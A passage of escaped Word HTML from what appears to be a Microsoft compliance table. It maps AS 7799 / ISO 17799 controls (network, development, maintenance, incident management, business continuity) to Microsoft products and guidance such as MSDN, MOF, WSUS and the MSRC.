&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l10 level1 lfo7"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Network controls (A.8.5.1/10.6.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l10 level1 lfo7"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Policy on use of network services (A.9.4.1/11.4.4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l10 level1 lfo7"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;User authentication for external connections (A.9.4.3/11.4.2)&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Secure remote access is becoming a key business requirement and AS 7799 mandates consideration of appropriate security for all external connections to IT systems. &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft Remote Access solutions provide for strong authentication mechanisms to support secure external connections using Virtual Private Networks (VPN) technologies.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 8; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;System Development &lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l6 level1 lfo8"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;Security requirements analysis and specification (A.10.1.1/12.1.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l6 level1 lfo8"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Input data validation (A.10.2.1/12.2.1) &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l6 level1 lfo8"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Access control to program&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt; source code (A.10.4.3/12.4.3):&lt;B&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft Developer Network (MSDN) provides whitepapers, guidelines and checklists to assist in developing applications which implement good security practices – including techniques such as input validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; These are supplemented with Prescriptive Architecture Guides which provide best practice for enterprise implementations.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; COLOR: black; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; COLOR: black; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;MS Press books, such as ‘Writing Secure Code’ are a key source of secure programming best practices. They include examples of code defects and discuss the vulnerabilities of applications to malicious attacks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 9; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;System Maintenance&lt;/B&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l4 level1 lfo9"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;Change control procedures (A.10.5.1/12.5.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l4 level1 lfo9"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;Restrictions on changes to software packages (A.10.5.3/12.5.3)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l4 level1 lfo9"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold; mso-bidi-font-style: italic"&gt;Information leakage (A.10.5.4/12.5.4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;The Microsoft Operations Framework (MOF) provides operational guidance to enable organisations to achieve mission-critical system reliability, availability, supportability and manageability of Microsoft products and technologies.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft is committed to helping organizations keep up by releasing patches in a controlled and manageable fashion.&amp;nbsp; Technologies such as System Management Server (SMS), Windows Server Update Services (WSUS) and Software Update Services (SUS) provide for streamlined updating and deployment.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 10; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Information Security Incident Management&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l5 level1 lfo12"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Reporting information security events (A.6.3.1/13.1.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l5 level1 lfo12"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Learning from information security incidents (A.6.3.4/13.2.2)&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;The Microsoft Security Response Centre (MSRC) provides&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; global management of security vulnerabilities and security incidents to develop security updates and guidance to minimise the threat to customers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;The Microsoft Trustworthy Computing initiative provides structured guidance on implementing processes that include aspects such as intrusion detection and responding to incidents to provide organisations with more effective security. This covers the full lifecycle process of managing a secure environment.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 11; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Business Continuity Management&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l7 level1 lfo11"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Including information security in the business continuity management process (A.11.1.1/14.1.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l7 level1 lfo11"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Business continuity planning framework (A.11.1.4/14.1.4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft is committed to helping organisations plan for disasters before they occur. Comprehensive guidance in the form of whitepapers, prescriptive architecture guidelines, reference architecture guidelines and checklists is included in the Microsoft Operations Framework to assist with effective Business Continuity Planning. Microsoft Consulting Services and Microsoft Partners can also provide specialist advice on planning disaster recovery solutions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 12; page-break-inside: avoid; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
